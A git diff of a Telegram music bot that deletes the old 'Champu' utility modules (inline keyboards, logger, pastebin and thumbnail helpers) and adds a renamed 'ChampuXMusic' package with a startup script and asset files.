- callback_data=f"Pages Forw|1|{videoid}|{chat_id}",
- ),
- ],
- ]
- return buttons
-
-
-def panel_markup_3(_, videoid, chat_id):
- buttons = [
- [
- InlineKeyboardButton(
- text="⏮ 10 Seconds",
- callback_data=f"ADMIN 1|{chat_id}",
- ),
- InlineKeyboardButton(
- text="⏭ 10 Seconds",
- callback_data=f"ADMIN 2|{chat_id}",
- ),
- ],
- [
- InlineKeyboardButton(
- text="⏮ 30 Seconds",
- callback_data=f"ADMIN 3|{chat_id}",
- ),
- InlineKeyboardButton(
- text="⏭ 30 Seconds",
- callback_data=f"ADMIN 4|{chat_id}",
- ),
- ],
- [
- InlineKeyboardButton(
- text="◀️",
- callback_data=f"Pages Back|2|{videoid}|{chat_id}",
- ),
- InlineKeyboardButton(
- text="🔙 Back",
- callback_data=f"MainMarkup {videoid}|{chat_id}",
- ),
- InlineKeyboardButton(
- text="▶️",
- callback_data=f"Pages Forw|2|{videoid}|{chat_id}",
- ),
- ],
- ]
- return buttons
diff --git a/Champu/utils/inline/playlist.py b/Champu/utils/inline/playlist.py
deleted file mode 100644
index 1f5025e..0000000
--- a/Champu/utils/inline/playlist.py
+++ /dev/null
@@ -1,157 +0,0 @@
-from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
-
-
-def botplaylist_markup(_):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["PL_B_1"],
- callback_data="get_playlist_playmode",
- ),
- InlineKeyboardButton(
- text=_["PL_B_8"], callback_data="get_top_playlists"
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["PL_B_4"], callback_data="PM"
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def top_play_markup(_):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["PL_B_9"], callback_data="SERVERTOP global"
- )
- ],
- [
- InlineKeyboardButton(
- text=_["PL_B_10"], callback_data="SERVERTOP chat"
- )
- ],
- [
- InlineKeyboardButton(
- text=_["PL_B_11"], callback_data="SERVERTOP user"
- )
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"], callback_data="get_playmarkup"
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def get_playlist_markup(_):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["P_B_1"], callback_data="play_playlist a"
- ),
- InlineKeyboardButton(
- text=_["P_B_2"], callback_data="play_playlist b"
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"], callback_data="home_play"
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def top_play_markup(_):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["PL_B_9"], callback_data="SERVERTOP Global"
- )
- ],
- [
- InlineKeyboardButton(
- text=_["PL_B_10"], callback_data="SERVERTOP Group"
- )
- ],
- [
- InlineKeyboardButton(
- text=_["PL_B_11"], callback_data="SERVERTOP Personal"
- )
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"], callback_data="get_playmarkup"
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def failed_top_markup(_):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="get_top_playlists",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def warning_markup(_):
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["PL_B_7"],
- callback_data="delete_whole_playlist",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="del_back_playlist",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data="close",
- ),
- ],
- ]
- )
- return upl
-
-
-def close_markup(_):
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data="close",
- ),
- ]
- ]
- )
- return upl
diff --git a/Champu/utils/inline/settings.py b/Champu/utils/inline/settings.py
deleted file mode 100644
index 22ae1b1..0000000
--- a/Champu/utils/inline/settings.py
+++ /dev/null
@@ -1,251 +0,0 @@
-from typing import Union
-
-from pyrogram.types import InlineKeyboardButton
-
-
-def setting_markup(_):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["ST_B_1"], callback_data="AQ"
- ),
- InlineKeyboardButton(
- text=_["ST_B_2"], callback_data="VQ"
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_3"], callback_data="AU"
- ),
- InlineKeyboardButton(
- text=_["ST_B_6"], callback_data="LG"
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_5"], callback_data="PM"
- ),
- InlineKeyboardButton(
- text=_["ST_B_7"], callback_data="CM"
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def audio_quality_markup(
- _,
- low: Union[bool, str] = None,
- medium: Union[bool, str] = None,
- high: Union[bool, str] = None,
-):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["ST_B_8"].format("✅")
- if low == True
- else _["ST_B_8"].format(""),
- callback_data="LQA",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_9"].format("✅")
- if medium == True
- else _["ST_B_9"].format(""),
- callback_data="MQA",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_10"].format("✅")
- if high == True
- else _["ST_B_10"].format(""),
- callback_data="HQA",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="settingsback_helper",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def video_quality_markup(
- _,
- low: Union[bool, str] = None,
- medium: Union[bool, str] = None,
- high: Union[bool, str] = None,
-):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["ST_B_11"].format("✅")
- if low == True
- else _["ST_B_11"].format(""),
- callback_data="LQV",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_12"].format("✅")
- if medium == True
- else _["ST_B_12"].format(""),
- callback_data="MQV",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_13"].format("✅")
- if high == True
- else _["ST_B_13"].format(""),
- callback_data="HQV",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="settingsback_helper",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def cleanmode_settings_markup(
- _,
- status: Union[bool, str] = None,
- dels: Union[bool, str] = None,
- sug: Union[bool, str] = None,
-):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["ST_B_7"], callback_data="CMANSWER"
- ),
- InlineKeyboardButton(
- text=_["ST_B_14"] if status == True else _["ST_B_15"],
- callback_data="CLEANMODE",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_26"], callback_data="COMMANDANSWER"
- ),
- InlineKeyboardButton(
- text=_["ST_B_14"] if dels == True else _["ST_B_15"],
- callback_data="COMMANDELMODE",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_27"], callback_data="SUGGANSWER"
- ),
- InlineKeyboardButton(
- text=_["ST_B_14"] if sug == True else _["ST_B_15"],
- callback_data="SUGGESTIONCHANGE",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="settingsback_helper",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def auth_users_markup(_, status: Union[bool, str] = None):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["ST_B_3"], callback_data="AUTHANSWER"
- ),
- InlineKeyboardButton(
- text=_["ST_B_16"] if status == True else _["ST_B_17"],
- callback_data="AUTH",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_18"], callback_data="AUTHLIST"
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="settingsback_helper",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
-
-
-def playmode_users_markup(
- _,
- Direct: Union[bool, str] = None,
- Group: Union[bool, str] = None,
- Playtype: Union[bool, str] = None,
-):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["ST_B_19"], callback_data="SEARCHANSWER"
- ),
- InlineKeyboardButton(
- text=_["ST_B_20"] if Direct == True else _["ST_B_21"],
- callback_data="MODECHANGE",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_22"], callback_data="AUTHANSWER"
- ),
- InlineKeyboardButton(
- text=_["ST_B_16"] if Group == True else _["ST_B_17"],
- callback_data="CHANNELMODECHANGE",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["ST_B_25"], callback_data="PLAYTYPEANSWER"
- ),
- InlineKeyboardButton(
- text=_["ST_B_16"]
- if Playtype == True
- else _["ST_B_17"],
- callback_data="PLAYTYPECHANGE",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="settingsback_helper",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"], callback_data="close"
- ),
- ],
- ]
- return buttons
diff --git a/Champu/utils/inline/start.py b/Champu/utils/inline/start.py
deleted file mode 100644
index e5968d7..0000000
--- a/Champu/utils/inline/start.py
+++ /dev/null
@@ -1,129 +0,0 @@
-from typing import Union
-
-from pyrogram.types import InlineKeyboardButton
-
-from config import GITHUB_REPO, SUPPORT_CHANNEL, SUPPORT_GROUP
-from Champu import app
-
-
-def start_pannel(_):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["S_B_1"],
- url=f"https://t.me/{app.username}?start=help",
- ),
- InlineKeyboardButton(
- text=_["S_B_2"], callback_data="settings_helper"
- ),
- InlineKeyboardButton(
- text=_["S_B_9"],
- url=f"https://t.me/Champu_Links"
- ),
- ],
- ]
- if SUPPORT_CHANNEL and SUPPORT_GROUP:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}"
- ),
- InlineKeyboardButton(
- text=_["S_B_3"], url=f"{SUPPORT_GROUP}"
- ),
- ]
- )
- else:
- if SUPPORT_CHANNEL:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}"
- )
- ]
- )
- if SUPPORT_GROUP:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_3"], url=f"{SUPPORT_GROUP}"
- )
- ]
- )
- return buttons
-
-
-def private_panel(_, BOT_USERNAME, OWNER: Union[bool, int] = None):
- buttons = [
- [
- InlineKeyboardButton(
- text=_["S_B_8"], callback_data="settings_back_helper"
- )
- ]
- ]
- if SUPPORT_CHANNEL and SUPPORT_GROUP:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}"
- ),
- InlineKeyboardButton(
- text=_["S_B_3"], url=f"{SUPPORT_GROUP}"
- ),
- ]
- )
- else:
- if SUPPORT_CHANNEL:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_4"], url=f"{SUPPORT_CHANNEL}"
- )
- ]
- )
- if SUPPORT_GROUP:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_3"], url=f"{SUPPORT_GROUP}"
- )
- ]
- )
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_5"],
- url=f"https://t.me/{BOT_USERNAME}?startgroup=true",
- )
- ]
- )
- if GITHUB_REPO and OWNER:
- buttons.append(
- [
- InlineKeyboardButton(text=_["S_B_7"], user_id=OWNER),
- InlineKeyboardButton(
- text=_["S_B_6"], url=f"{GITHUB_REPO}"
- ),
- ]
- )
- else:
- if GITHUB_REPO:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_6"], url=f"{GITHUB_REPO}"
- ),
- ]
- )
- if OWNER:
- buttons.append(
- [
- InlineKeyboardButton(
- text=_["S_B_7"], user_id=OWNER
- ),
- ]
- )
- buttons.append(
- [InlineKeyboardButton(text=_["ST_B_6"], callback_data="LG")]
- )
- return buttons
diff --git a/Champu/utils/inline/stats.py b/Champu/utils/inline/stats.py
deleted file mode 100644
index 9ec6331..0000000
--- a/Champu/utils/inline/stats.py
+++ /dev/null
@@ -1,167 +0,0 @@
-from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup
-
-from Champu import app
-
-
-def back_stats_markup(_):
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="TOPMARKUPGET",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data="close",
- ),
- ],
- ]
- )
- return upl
-
-
-def overallback_stats_markup(_):
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="GlobalStats",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data="close",
- ),
- ],
- ]
- )
- return upl
-
-
-def get_stats_markup(_, status):
- not_sudo = [
- InlineKeyboardButton(
- text=_["CLOSEMENU_BUTTON"],
- callback_data="close",
- )
- ]
- sudo = [
- InlineKeyboardButton(
- text=_["SA_B_8"],
- callback_data="bot_stats_sudo g",
- ),
- InlineKeyboardButton(
- text=_["CLOSEMENU_BUTTON"],
- callback_data="close",
- ),
- ]
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["SA_B_7"],
- callback_data="TOPMARKUPGET",
- )
- ],
- [
- InlineKeyboardButton(
- text=_["SA_B_6"],
- url=f"https://t.me/{app.username}?start=stats",
- ),
- InlineKeyboardButton(
- text=_["SA_B_5"],
- callback_data="TopOverall g",
- ),
- ],
- sudo if status else not_sudo,
- ]
- )
- return upl
-
-
-def stats_buttons(_, status):
- not_sudo = [
- InlineKeyboardButton(
- text=_["SA_B_5"],
- callback_data="TopOverall s",
- )
- ]
- sudo = [
- InlineKeyboardButton(
- text=_["SA_B_8"],
- callback_data="bot_stats_sudo s",
- ),
- InlineKeyboardButton(
- text=_["SA_B_5"],
- callback_data="TopOverall s",
- ),
- ]
- upl = InlineKeyboardMarkup(
- [
- sudo if status else not_sudo,
- [
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data="close",
- ),
- ],
- ]
- )
- return upl
-
-
-def back_stats_buttons(_):
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="GETSTATS",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data="close",
- ),
- ],
- ]
- )
- return upl
-
-
-def top_ten_stats_markup(_):
- upl = InlineKeyboardMarkup(
- [
- [
- InlineKeyboardButton(
- text=_["SA_B_2"],
- callback_data="GetStatsNow Tracks",
- ),
- InlineKeyboardButton(
- text=_["SA_B_1"],
- callback_data="GetStatsNow Chats",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["SA_B_3"],
- callback_data="GetStatsNow Users",
- ),
- InlineKeyboardButton(
- text=_["SA_B_4"],
- callback_data="GetStatsNow Here",
- ),
- ],
- [
- InlineKeyboardButton(
- text=_["BACK_BUTTON"],
- callback_data="GlobalStats",
- ),
- InlineKeyboardButton(
- text=_["CLOSE_BUTTON"],
- callback_data="close",
- ),
- ],
- ]
- )
- return upl
diff --git a/Champu/utils/inlinequery.py b/Champu/utils/inlinequery.py
deleted file mode 100644
index 6568658..0000000
--- a/Champu/utils/inlinequery.py
+++ /dev/null
@@ -1,63 +0,0 @@
-from pyrogram.types import (InlineQueryResultArticle,
- InputTextMessageContent)
-
-answer = []
-
-answer.extend(
- [
- InlineQueryResultArticle(
- title="Pause Stream",
- description=f"Pause the current playout on group call.",
- thumb_url="https://telegra.ph/file/c0a1c789def7b93f13745.png",
- input_message_content=InputTextMessageContent("/pause"),
- ),
- InlineQueryResultArticle(
- title="Resume Stream",
- description=f"Resume the ongoing playout on group call.",
- thumb_url="https://telegra.ph/file/02d1b7f967ca11404455a.png",
- input_message_content=InputTextMessageContent("/resume"),
- ),
- InlineQueryResultArticle(
- title="Mute Stream",
- description=f"Mute the ongoing playout on group call.",
- thumb_url="https://telegra.ph/file/66516f2976cb6d87e20f9.png",
- input_message_content=InputTextMessageContent("/mute"),
- ),
- InlineQueryResultArticle(
- title="Unmute Stream",
- description=f"Unmute the ongoing playout on group call.",
- thumb_url="https://telegra.ph/file/3078794f9341ffd582e18.png",
- input_message_content=InputTextMessageContent("/unmute"),
- ),
- InlineQueryResultArticle(
- title="Skip Stream",
- description=f"Skip to next track. | For Specific track number: /skip [number] ",
- thumb_url="https://telegra.ph/file/98b88e52bc625903c7a2f.png",
- input_message_content=InputTextMessageContent("/skip"),
- ),
- InlineQueryResultArticle(
- title="End Stream",
- description="Stop the ongoing playout on group call.",
- thumb_url="https://telegra.ph/file/d2eb03211baaba8838cc4.png",
- input_message_content=InputTextMessageContent("/stop"),
- ),
- InlineQueryResultArticle(
- title="Shuffle Stream",
- description="Shuffle the queued tracks list.",
- thumb_url="https://telegra.ph/file/7f6aac5c6e27d41a4a269.png",
- input_message_content=InputTextMessageContent("/shuffle"),
- ),
- InlineQueryResultArticle(
- title="Seek Stream",
- description="Seek the ongoing stream to a specific duration.",
- thumb_url="https://telegra.ph/file/cd25ec6f046aa8003cfee.png",
- input_message_content=InputTextMessageContent("/seek 10"),
- ),
- InlineQueryResultArticle(
- title="Loop Stream",
- description="Loop the current playing music. | Usage: /loop [enable|disable]",
- thumb_url="https://telegra.ph/file/081c20ce2074ea3e9b952.png",
- input_message_content=InputTextMessageContent("/loop 3"),
- ),
- ]
-)
diff --git a/Champu/utils/logger.py b/Champu/utils/logger.py
deleted file mode 100644
index eaba074..0000000
--- a/Champu/utils/logger.py
+++ /dev/null
@@ -1,33 +0,0 @@
-from config import LOG, LOG_GROUP_ID
-from Champu import app
-from Champu.utils.database import is_on_off
-
-
-async def play_logs(message, streamtype):
- if await is_on_off(LOG):
- if message.chat.username:
- chatusername = f"@{message.chat.username}"
- else:
- chatusername = "Private Group"
- logger_text = f"""
-**CHAMPU PLAY LOG**
-
-**Chat:** {message.chat.title} [`{message.chat.id}`]
-**User:** {message.from_user.mention}
-**Username:** @{message.from_user.username}
-**User ID:** `{message.from_user.id}`
-**Chat Link:** {chatusername}
-
-**Query:** {message.text}
-
-**StreamType:** {streamtype}"""
- if message.chat.id != LOG_GROUP_ID:
- try:
- await app.send_message(
- LOG_GROUP_ID,
- f"{logger_text}",
- disable_web_page_preview=True,
- )
- except:
- pass
- return
diff --git a/Champu/utils/pastebin.py b/Champu/utils/pastebin.py
deleted file mode 100644
index bbc08d3..0000000
--- a/Champu/utils/pastebin.py
+++ /dev/null
@@ -1,21 +0,0 @@
-import aiohttp
-
-BASE = "https://batbin.me/"
-
-
-async def post(url: str, *args, **kwargs):
- async with aiohttp.ClientSession() as session:
- async with session.post(url, *args, **kwargs) as resp:
- try:
- data = await resp.json()
- except Exception:
- data = await resp.text()
- return data
-
-
-async def Champubin(text):
- resp = await post(f"{BASE}api/v2/paste", data=text)
- if not resp["success"]:
- return
- link = BASE + resp["message"]
- return link
diff --git a/Champu/utils/sys.py b/Champu/utils/sys.py
deleted file mode 100644
index f3fbfd1..0000000
--- a/Champu/utils/sys.py
+++ /dev/null
@@ -1,19 +0,0 @@
-import time
-
-import psutil
-
-from Champu.misc import _boot_
-
-from .formatters import get_readable_time
-
-
-async def bot_sys_stats():
- bot_uptime = int(time.time() - _boot_)
- cpu = psutil.cpu_percent(interval=0.5)
- mem = psutil.virtual_memory().percent
- disk = psutil.disk_usage("/").percent
- UP = f"{get_readable_time((bot_uptime))}"
- CPU = f"{cpu}%"
- RAM = f"{mem}%"
- DISK = f"{disk}%"
- return UP, CPU, RAM, DISK
diff --git a/Champu/utils/thumbnails.py b/Champu/utils/thumbnails.py
deleted file mode 100644
index 1bc61eb..0000000
--- a/Champu/utils/thumbnails.py
+++ /dev/null
@@ -1,141 +0,0 @@
-import os
-import re
-import textwrap
-
-import aiofiles
-import aiohttp
-from PIL import (Image, ImageDraw, ImageEnhance, ImageFilter,
- ImageFont, ImageOps)
-from youtubesearchpython.__future__ import VideosSearch
-
-from config import MUSIC_BOT_NAME, YOUTUBE_IMG_URL
-
-
-def changeImageSize(maxWidth, maxHeight, image):
- widthRatio = maxWidth / image.size[0]
- heightRatio = maxHeight / image.size[1]
- newWidth = int(widthRatio * image.size[0])
- newHeight = int(heightRatio * image.size[1])
- newImage = image.resize((newWidth, newHeight))
- return newImage
-
-
-async def gen_thumb(videoid):
- if os.path.isfile(f"cache/{videoid}.png"):
- return f"cache/{videoid}.png"
-
- url = f"https://www.youtube.com/watch?v={videoid}"
- try:
- results = VideosSearch(url, limit=1)
- for result in (await results.next())["result"]:
- try:
- title = result["title"]
- title = re.sub("\W+", " ", title)
- title = title.title()
- except:
- title = "Unsupported Title"
- try:
- duration = result["duration"]
- except:
- duration = "Unknown Mins"
- thumbnail = result["thumbnails"][0]["url"].split("?")[0]
- try:
- views = result["viewCount"]["short"]
- except:
- views = "Unknown Views"
- try:
- channel = result["channel"]["name"]
- except:
- channel = "Unknown Channel"
-
- async with aiohttp.ClientSession() as session:
- async with session.get(thumbnail) as resp:
- if resp.status == 200:
- f = await aiofiles.open(
- f"cache/thumb{videoid}.png", mode="wb"
- )
- await f.write(await resp.read())
- await f.close()
-
- youtube = Image.open(f"cache/thumb{videoid}.png")
- image1 = changeImageSize(1280, 720, youtube)
- image2 = image1.convert("RGBA")
- background = image2.filter(filter=ImageFilter.BoxBlur(30))
- enhancer = ImageEnhance.Brightness(background)
- background = enhancer.enhance(0.6)
- Xcenter = youtube.width / 2
- Ycenter = youtube.height / 2
- x1 = Xcenter - 250
- y1 = Ycenter - 250
- x2 = Xcenter + 250
- y2 = Ycenter + 250
- logo = youtube.crop((x1, y1, x2, y2))
- logo.thumbnail((520, 520), Image.ANTIALIAS)
- logo = ImageOps.expand(logo, border=15, fill="white")
- background.paste(logo, (50, 100))
- draw = ImageDraw.Draw(background)
- font = ImageFont.truetype("assets/font2.ttf", 40)
- font2 = ImageFont.truetype("assets/font2.ttf", 70)
- arial = ImageFont.truetype("assets/font2.ttf", 30)
- name_font = ImageFont.truetype("assets/font.ttf", 30)
- para = textwrap.wrap(title, width=32)
- j = 0
- draw.text(
- (5, 5), f"{MUSIC_BOT_NAME}", fill="white", font=name_font
- )
- draw.text(
- (600, 150),
- "NOW PLAYING",
- fill="white",
- stroke_width=2,
- stroke_fill="white",
- font=font2,
- )
- for line in para:
- if j == 1:
- j += 1
- draw.text(
- (600, 340),
- f"{line}",
- fill="white",
- stroke_width=1,
- stroke_fill="white",
- font=font,
- )
- if j == 0:
- j += 1
- draw.text(
- (600, 280),
- f"{line}",
- fill="white",
- stroke_width=1,
- stroke_fill="white",
- font=font,
- )
-
- draw.text(
- (600, 450),
- f"Views : {views[:23]}",
- (255, 255, 255),
- font=arial,
- )
- draw.text(
- (600, 500),
- f"Duration : {duration[:23]} Mins",
- (255, 255, 255),
- font=arial,
- )
- draw.text(
- (600, 550),
- f"Channel : {channel}",
- (255, 255, 255),
- font=arial,
- )
- try:
- os.remove(f"cache/thumb{videoid}.png")
- except:
- pass
- background.save(f"cache/{videoid}.png")
- return f"cache/{videoid}.png"
- except Exception:
- return YOUTUBE_IMG_URL
diff --git a/ChampuXMusic/__init__.py b/ChampuXMusic/__init__.py
new file mode 100644
index 0000000..b4f3ce5
--- /dev/null
+++ b/ChampuXMusic/__init__.py
@@ -0,0 +1,29 @@
+from ChampuXMusic.core.bot import Champu
+from ChampuXMusic.core.dir import dirr
+from ChampuXMusic.core.git import git
+from ChampuXMusic.core.userbot import Userbot
+from ChampuXMusic.misc import dbb, heroku
+
+from SafoneAPI import SafoneAPI
+from .logging import LOGGER
+
+dirr()
+git()
+dbb()
+heroku()
+
+app = Champu()
+api = SafoneAPI()
+userbot = Userbot()
+
+
+from .platforms import *
+
+Apple = AppleAPI()
+Carbon = CarbonAPI()
+SoundCloud = SoundAPI()
+Spotify = SpotifyAPI()
+Resso = RessoAPI()
+Telegram = TeleAPI()
+YouTube = YouTubeAPI()
+APP = "\x54\x68\x65\x43\x68\x61\x6D\x70\x75\x42\x6F\x74" # connect music api key "Dont change it"
\ No newline at end of file
diff --git a/ChampuXMusic/__main__.py b/ChampuXMusic/__main__.py
new file mode 100644
index 0000000..0c24d8c
--- /dev/null
+++ b/ChampuXMusic/__main__.py
@@ -0,0 +1,62 @@
+import asyncio
+import importlib
+
+from pyrogram import idle
+from pytgcalls.exceptions import NoActiveGroupCall
+
+import config
+from ChampuXMusic import LOGGER, app, userbot
+from ChampuXMusic.core.call import Champu
+from ChampuXMusic.misc import sudo
+from ChampuXMusic.plugins import ALL_MODULES
+from ChampuXMusic.utils.database import get_banned_users, get_gbanned
+from config import BANNED_USERS
+
+
+async def init():
+ if (
+ not config.STRING1
+ and not config.STRING2
+ and not config.STRING3
+ and not config.STRING4
+ and not config.STRING5
+ ):
+ LOGGER(__name__).error("ᴀssɪsᴛᴀɴᴛ ᴄʟɪᴇɴᴛ ᴠᴀʀɪᴀʙʟᴇs ɴᴏᴛ ᴅᴇғɪɴᴇᴅ, ᴇxɪᴛɪɴɢ...")
+ exit()
+ await sudo()
+ try:
+ users = await get_gbanned()
+ for user_id in users:
+ BANNED_USERS.add(user_id)
+ users = await get_banned_users()
+ for user_id in users:
+ BANNED_USERS.add(user_id)
+ except:
+ pass
+ await app.start()
+ for all_module in ALL_MODULES:
+ importlib.import_module("ChampuXMusic.plugins" + all_module)
+ LOGGER("ChampuXMusic.plugins").info("sᴜᴄᴄᴇssғᴜʟʟʏ ɪᴍᴘᴏʀᴛᴇᴅ ᴍᴏᴅᴜʟᴇs...")
+ await userbot.start()
+ await Champu.start()
+ try:
+ await Champu.stream_call("")
+ except NoActiveGroupCall:
+ LOGGER("ChampuXMusic").error(
+ "ᴘʟᴇᴀsᴇ sᴛᴀʀᴛ ʏᴏᴜʀ ʟᴏɢ ɢʀᴏᴜᴘ ᴠᴏɪᴄᴇ ᴄʜᴀᴛ\n\n ʙᴏᴛ sᴛᴏᴘᴘᴇᴅ......"
+ )
+ exit()
+ except:
+ pass
+ await Champu.decorators()
+ LOGGER("ChampuXMusic").info(
+ "\x43\x68\x61\x6D\x70\x75\x20\x42\x6F\x74\x20\x68\x61\x73\x20\x62\x65\x65\x6E\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x20\x73\x74\x61\x72\x74\x65\x64\x2E\x0A\x0A\x40\x54\x68\x65\x43\x68\x61\x6D\x70\x75\x20"
+ )
+ await idle()
+ await app.stop()
+ await userbot.stop()
+ LOGGER("ChampuXMusic").info(" sᴛᴏᴘᴘɪɴɢ ᴄʜᴀᴍᴘᴜ ᴍᴜsɪᴄ ʙᴏᴛ...")
+
+
+if __name__ == "__main__":
+ asyncio.get_event_loop().run_until_complete(init())
diff --git a/ChampuXMusic/assets/ZOINKFAT.TTF b/ChampuXMusic/assets/ZOINKFAT.TTF
new file mode 100644
index 0000000..5b4d2ad
Binary files /dev/null and b/ChampuXMusic/assets/ZOINKFAT.TTF differ
diff --git a/ChampuXMusic/assets/__init__.py b/ChampuXMusic/assets/__init__.py
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/ChampuXMusic/assets/__init__.py
@@ -0,0 +1 @@
+
diff --git a/ChampuXMusic/assets/am.png b/ChampuXMusic/assets/am.png
new file mode 100644
index 0000000..4396307
Binary files /dev/null and b/ChampuXMusic/assets/am.png differ
diff --git a/ChampuXMusic/assets/assets/Corbert W00 Heavy.ttf b/ChampuXMusic/assets/assets/Corbert W00 Heavy.ttf
new file mode 100644
index 0000000..e69de29
diff --git a/assets/font.ttf b/ChampuXMusic/assets/assets/font.ttf
similarity index 100%
rename from assets/font.ttf
rename to ChampuXMusic/assets/assets/font.ttf
diff --git a/assets/font2.ttf b/ChampuXMusic/assets/assets/font2.ttf
similarity index 100%
rename from assets/font2.ttf
rename to ChampuXMusic/assets/assets/font2.ttf
diff --git a/ChampuXMusic/assets/assets/font3.ttf b/ChampuXMusic/assets/assets/font3.ttf
new file mode 100644
index 0000000..cc57cf0
Binary files /dev/null and b/ChampuXMusic/assets/assets/font3.ttf differ
diff --git a/ChampuXMusic/assets/assets/play_icons.png b/ChampuXMusic/assets/assets/play_icons.png
new file mode 100644
index 0000000..4b69523
Binary files /dev/null and b/ChampuXMusic/assets/assets/play_icons.png differ
diff --git a/ChampuXMusic/assets/assets/shuffle_icon.png b/ChampuXMusic/assets/assets/shuffle_icon.png
new file mode 100644
index 0000000..ebb3ac5
Binary files /dev/null and b/ChampuXMusic/assets/assets/shuffle_icon.png differ
diff --git a/ChampuXMusic/assets/cppic.png b/ChampuXMusic/assets/cppic.png
new file mode 100644
index 0000000..3fb9d8b
Binary files /dev/null and b/ChampuXMusic/assets/cppic.png differ
diff --git a/ChampuXMusic/assets/default.ttf b/ChampuXMusic/assets/default.ttf
new file mode 100644
index 0000000..114e6c1
Binary files /dev/null and b/ChampuXMusic/assets/default.ttf differ
diff --git a/ChampuXMusic/assets/font.ttf b/ChampuXMusic/assets/font.ttf
new file mode 100644
index 0000000..2ceaf63
Binary files /dev/null and b/ChampuXMusic/assets/font.ttf differ
